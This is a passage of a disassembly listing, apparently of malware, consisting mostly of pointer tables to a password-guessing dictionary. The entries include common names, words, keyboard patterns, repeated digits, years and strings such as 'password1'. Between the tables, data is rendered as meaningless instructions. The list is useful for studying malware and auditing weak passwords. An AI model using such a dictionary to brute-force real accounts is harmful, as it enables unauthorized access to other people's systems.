		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		db 0D0h, 0D1h, 42h
; ---------------------------------------------------------------------------


loc_42A767:				; CODE XREF: seg002:0042A794j
		add	al, cl
		rol	dword ptr [edx+0], 1
		rcl	cl, 42h
		add	[eax-4FFFBD2Fh], bh
		rol	dword ptr [edx+0], 1
		test	al, 0D1h
		inc	edx
		add	[eax-67FFBD2Fh], ah
		rol	dword ptr [edx+0], 1
		nop
		rol	dword ptr [edx+0], 1
		mov	cl, dl
		inc	edx
		add	[eax+780042D1h], al
		rol	dword ptr [edx+0], 1
		jo	short loc_42A767
		inc	edx
		add	[eax-2Fh], ch
		inc	edx
		add	[eax-2Fh], ah
		inc	edx
		add	[eax-2Fh], bl
		inc	edx
		add	[eax-2Fh], dl
		inc	edx
		add	[eax-2Fh], cl
		inc	edx
		add	[eax-2Fh], al
		inc	edx
		add	[eax], bh
		rol	dword ptr [edx+0], 1
		xor	cl, dl
		inc	edx
		add	[eax], ch
		rol	dword ptr [edx+0], 1
		and	cl, dl
		inc	edx
		add	[eax], bl
		rol	dword ptr [edx+0], 1
		or	al, 0D1h
		inc	edx
		add	[ecx+edx*8], al
		inc	edx
		add	ah, bh
		rol	byte ptr [edx+0], 1
; ---------------------------------------------------------------------------
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
; ---------------------------------------------------------------------------
		adc	ch, cl
		inc	edx
		add	ds:0CCFC0042h[ecx*8], al
		inc	edx
		add	ah, dh
		int	3		; Trap to Debugger
		inc	edx
		add	al, ch
		int	3		; Trap to Debugger
		inc	edx
		add	al, ah
		int	3		; Trap to Debugger
		inc	edx
		add	al, bl
		int	3		; Trap to Debugger
		inc	edx
		add	al, dl
		int	3		; Trap to Debugger
		inc	edx
		add	al, cl
		int	3		; Trap to Debugger
		inc	edx
		add	al, al
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-4FFFBD34h], bh
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-63FFBD34h], ch
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8-3377FFBEh], dl
		inc	edx
		add	[esp+ecx*8+42h], bh
		add	[esp+ecx*8+42h], dh
		add	[esp+ecx*8+42h], ch
		add	[esp+ecx*8+42h], ah
		add	[esp+ecx*8+42h], bl
		add	[esp+ecx*8+42h], dl
		add	[esp+ecx*8+42h], cl
		add	[eax-34h], al
		inc	edx
		add	[eax], bh
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8], ch
		inc	edx
		add	[esp+ecx*8], ah
		inc	edx
		add	[esp+ecx*8], bl
		inc	edx
		add	[esp+ecx*8], dl
		inc	edx
		add	[esp+ecx*8], cl
		inc	edx
		add	[esp+ecx*8], al
		inc	edx
		add	al, bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	al, al
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-4FFFBD35h], bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-5FFFBD35h], ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-6FFFBD35h], bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax+7C0042CBh], cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-35h], dh
		inc	edx
		add	[ebx+ecx*8+42h], ah
		add	[ebx+ecx*8+42h], bl
		add	[ebx+ecx*8+42h], dl
		add	[ebx+ecx*8+42h], cl
		add	[ebx+ecx*8+42h], al
		add	[ebx+ecx*8], bh
		inc	edx
		add	[ebx+ecx*8], dh
		inc	edx
		add	[ebx+ecx*8], ch
		inc	edx
		add	[eax], ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8], dl
		inc	edx
		add	[ebx+ecx*8], cl
		inc	edx
		add	[ebx+ecx*8], al
		inc	edx
		add	ah, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
; ---------------------------------------------------------------------------
		fmul	st(2), st
		inc	edx
		add	ah, dl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aVenus	; "venus"
; ---------------------------------------------------------------------------
		ror	dl, 42h
		add	[eax-4FFFBD36h], bh
		retf	42h
; ---------------------------------------------------------------------------
		test	al, 0CAh
		inc	edx
		add	[eax-6BFFBD36h], ah
		retf	42h
; ---------------------------------------------------------------------------
		mov	edx, cs
		inc	edx
		add	[edx+ecx*8-3587FFBEh], al
		inc	edx
		add	[eax-36h], dh
		inc	edx
		add	[eax-36h], ch
		inc	edx
		add	[eax-36h], ah
		inc	edx
		add	[edx+ecx*8+42h], dl
		add	[edx+ecx*8+42h], cl
		add	[edx+ecx*8+42h], al
		add	[edx+ecx*8], bh
		inc	edx
		add	[edx+ecx*8], dh
		inc	edx
		add	[edx+ecx*8], ch
		inc	edx
		add	[eax], ah
		retf	42h
; ---------------------------------------------------------------------------
		sbb	dl, cl
		inc	edx
		add	[eax], dl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_2		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
; ---------------------------------------------------------------------------
		rol	ah, 1
		inc	edx
		add	ah, al
		les	eax, [edx+0]
		rol	ah, 42h
		add	[esp+eax*8-3B47FFBEh], bh
		inc	edx
		add	[esp+eax*8-3B57FFBEh], ch
		inc	edx
		add	[esp+eax*8-3B6FFFBEh], bl
		inc	edx
		add	[esp+eax*8-3B77FFBEh], cl
		inc	edx
		add	[esp+eax*8-3B7FFFBEh], al
		inc	edx
		add	[esp+eax*8+42h], dh
		add	[eax-3Ch], dh
		inc	edx
		add	[esp+eax*8+42h], ch
		add	[eax-3Ch], ah
		inc	edx
		add	[esp+eax*8+42h], bl
		add	[eax-3Ch], bl
		inc	edx
		add	[esp+eax*8+42h], dl
		add	[eax-3Ch], dl
		inc	edx
		add	[esp+eax*8+42h], al
		add	[esp+eax*8], dh
		inc	edx
		add	[eax], dh
		les	eax, [edx+0]
		sub	al, 0C4h
		inc	edx
		add	[eax], ah
		les	eax, [edx+0]
		adc	al, 0C4h
		inc	edx
		add	[eax], cl
		les	eax, [edx+0]
		cld
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8-3C4FFFBEh], bh
		inc	edx
		add	[ebx+eax*8-3C67FFBEh], ah
		inc	edx
		add	[ebx+eax*8-3C7FFFBEh], cl
		inc	edx
		add	[ebx+eax*8+42h], bh
		add	[eax-3Dh], dh
		inc	edx
		add	[ebx+eax*8+42h], ah
		add	[eax-3Dh], bl
		inc	edx
		add	[ebx+eax*8+42h], dl
		add	[eax-3Dh], cl
		inc	edx
		add	[ebx+eax*8], bh
		inc	edx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8], ah
		inc	edx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8], dl
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	al, bh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset dword_42C2E4
; ---------------------------------------------------------------------------
		fadd	st, st(2)
		inc	edx
		add	ah, dl
		retn	42h
; ---------------------------------------------------------------------------


loc_42AE28:				; CODE XREF: seg002:0042AE64j
		rol	dl, 1
		inc	edx
		add	ah, cl
		retn	42h
; ---------------------------------------------------------------------------
		enter	42C2h, 0
		rol	dl, 42h
		add	[eax-4FFFBD3Eh], bh
		retn	42h
; ---------------------------------------------------------------------------
		movsb
		retn	42h
; ---------------------------------------------------------------------------
		mov	al, ds:9C0042C2h
		retn	42h
; ---------------------------------------------------------------------------
		cwde
		retn	42h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retn	42h
; ---------------------------------------------------------------------------
		dd offset a@@		; "@@"
; ---------------------------------------------------------------------------
		mov	edx, es
		inc	edx
		add	[eax-7BFFBD3Eh], cl
		retn	42h
; ---------------------------------------------------------------------------
		jl	short loc_42AE28
		inc	edx
		add	[eax-3Eh], bh
		inc	edx
		add	[edx+eax*8+42h], dh
		add	[edx+eax*8+42h], dh
		add	[edx+eax*8+42h], ch
		add	[eax-3Eh], ch
		inc	edx
		add	[eax-3Eh], ah
		inc	edx
		add	[edx+eax*8+42h], bl
		add	[edx+eax*8+42h], dl
		add	[edx+eax*8+42h], cl
		add	[eax-3Eh], cl
		inc	edx
		add	[edx+eax*8+42h], al
		add	[eax-3Eh], al
		inc	edx
		add	[edx+eax*8], dh
		inc	edx
		add	[edx+eax*8], ch
		inc	edx
		add	[edx+eax*8], ah
		inc	edx
		add	[edx+eax*8], bl
		inc	edx
		add	[edx+eax*8], dl
		inc	edx
		add	[eax], dl
		retn	42h
; ---------------------------------------------------------------------------
		or	al, 0C2h
		inc	edx
		add	[ebx+edi*8], dh
		inc	edx
		add	[eax], dh
		sti
		inc	edx
		add	[ebx+edi*8], bl
		inc	edx
		add	[ebx+edi*8], dl
		inc	edx
		add	[ebx+edi*8], cl
		inc	edx
		add	[ebx+edi*8], al
		inc	edx
		add	[eax+42C7h], al
		retn	42h
; ---------------------------------------------------------------------------
		dd offset a0000000000	; "0000000000"
		dd offset asc_42C1F0	; "*"
		dd offset asc_42C1EC	; "**"
		dd offset asc_42C1E8	; "***"
		dd offset asc_42C1E0	; "****"
		dd offset asc_42C1D8	; "*****"
		dd offset asc_42C1D0	; "******"
		dd offset asc_42C1C8	; "*******"
		dd offset asc_42C1BC	; "********"
		dd offset asc_42C1B0	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_0		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
; ---------------------------------------------------------------------------
		cwde
		mov	ebx, 0BB8C0042h
		inc	edx
		add	[eax+740042BBh], al
		mov	ebx, 42h
		inc	ebx
		add	[ebx+edi*4+42h], ch
		add	al, cl
		rol	byte ptr [edx+0], cl
		db	64h
		mov	ebx, 0BB580042h
		inc	edx
		add	[eax-45h], dl
		inc	edx
		add	al, ah
		inc	byte ptr [edx+0]
		dec	esp
		mov	ebx, 0BB480042h
		inc	edx
		add	[ebx+edi*4+42h], al
		add	al, bl
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-45h], al
		inc	edx
		add	[eax], bh
		mov	ebx, 0CC6C0042h
		inc	edx
		add	[eax-5], bh
		inc	edx
		add	[ebx+edi*8+42h], dh
		add	[eax-5], dh
		inc	edx
		add	[eax-5], ch
		inc	edx
		add	[eax-5], ah
		inc	edx
		add	[eax-5], bl
		inc	edx
		add	[eax-5], dl
		inc	edx
		add	[ebx+edi*8+42h], al
		add	[eax], bh
		sti
		inc	edx
		add	ah, dh
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB_0		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
